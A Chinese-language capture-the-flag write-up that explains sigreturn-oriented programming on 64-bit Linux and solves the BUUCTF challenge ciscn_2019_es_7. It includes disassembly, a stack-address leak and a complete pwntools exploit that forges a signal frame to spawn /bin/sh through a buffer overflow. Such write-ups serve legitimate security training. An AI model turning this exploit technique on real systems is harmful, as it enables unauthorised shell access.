一种独特的rop手法 利用了64位Linux的系统调用号15的rt_sigreturn函数
Linux系统中 信号实际上就是软中断 比如用户在终端输入了ctrl+c 就会终止终端 这时候就需要信号机制
软中断在计组原理中有所提及 这里不重复说明
每一个信号都有自己的名称和编号 对应着不同的功能 可以使用kill -l来查看

而今天要利用的rt_sigreturn函数就是linux中多种信号的一个
rt_sigreturn - 从信号处理函数返回,并清除栈帧
当linux内核确定某进程还有一个未阻塞的信号待处理 当进程下一次从内核态切换到用户态时(比如进行系统调用后 或者是进程重新调度到cpu上)
它会创建用户空间堆栈 或定义的备用堆栈上的一个栈帧 用于保存各种进程上下文

如图所示 其中最关键的就是寄存器的值也会保存在栈上 借助这一点 我们可以很轻易的实现寄存器值的修改 从而实现系统调用
这一段内存被称为Signal Frame
下面来看一道例题 buuctf中的ciscn_2019_es_7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)保护机制很常规 看一下ida
signed __int64 vuln(){ signed __int64 v0; // rax char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL); return sys_write(1u, buf, 0x30uLL);}main函数跳转到了vuln函数
vuln函数有栈溢出的机会 同时还给了write函数输出0x30字节的数据
程序还给了gadget函数 伪代码看不出什么 看一下汇编
.text:00000000004004D6 public gadgets.text:00000000004004D6 gadgets proc near.text:00000000004004D6 ; __unwind {.text:00000000004004D6 push rbp.text:00000000004004D7 mov rbp, rsp.text:00000000004004DA mov rax, 0Fh.text:00000000004004E1 retn.text:00000000004004E1 gadgets endp ; sp-analysis failed.text:00000000004004E1有mov rax,0xf 显然这题就是要利用rt_sigreturn进行srop来实现system系统调用
不过要实现system(“/bin/sh”)首先我们还需要给rdi赋值binsh字符串的地址
由于题目没有自带binsh 此时有两种办法 一种是泄露libc基址 我们自己计算 还有一种是把binsh写到栈上 然后利用write函数泄露栈地址
gdb动调后发现泄露不到libc基址 所以这里用第二种办法 先gdb动调看一下哪里可以泄露栈地址

我们输入的8字节的字母a位于0x7fffffffdeb0处 而0x7fffffffded0处有一个0x7fffffffdfc8的栈地址可以泄露
我们可以计算偏移 得到栈上的地址
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",27954)elf = ELF("./pwn")libc = ELF("./buu_libc_ubuntu18_64")context.log_level = "debug"context.arch = "amd64"vuln_addr = 0x4004EDpayload = cyclic(0x10)#+p64(vuln_addr)gdb.attach(io)io.sendline(payload)stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x118此时的stack_addr就是我们通过read函数输入的第一个字长的数据的地址 如果我们将其替换成binsh 那么就是binsh字符串的地址
接下来就是伪造Signal Frame了 pwntools自带了库可以实现
frame = SigreturnFrame()frame.rax = 59frame.rdi = stack_addrframe.rsi = 0frame.rdx = 0frame.rip = syscall_addr完整exp:
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",27954)elf = ELF("./pwn")libc = ELF("./buu_libc_ubuntu18_64")context.log_level = "debug"context.arch = "amd64"vuln_addr = 0x4004EDpayload = cyclic(0x10)+p64(vuln_addr)io.sendline(payload)stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x118syscall_addr = 0x400517rax15_addr = 0x4004DAframe = SigreturnFrame()frame.rax = 59frame.rdi = stack_addrframe.rsi = 0frame.rdx = 0frame.rip = syscall_addrpayload = b'/bin/sh\x00'+cyclic(0x8)+p64(rax15_addr)+p64(syscall_addr)+bytes(frame)io.sendline(payload)io.interactive()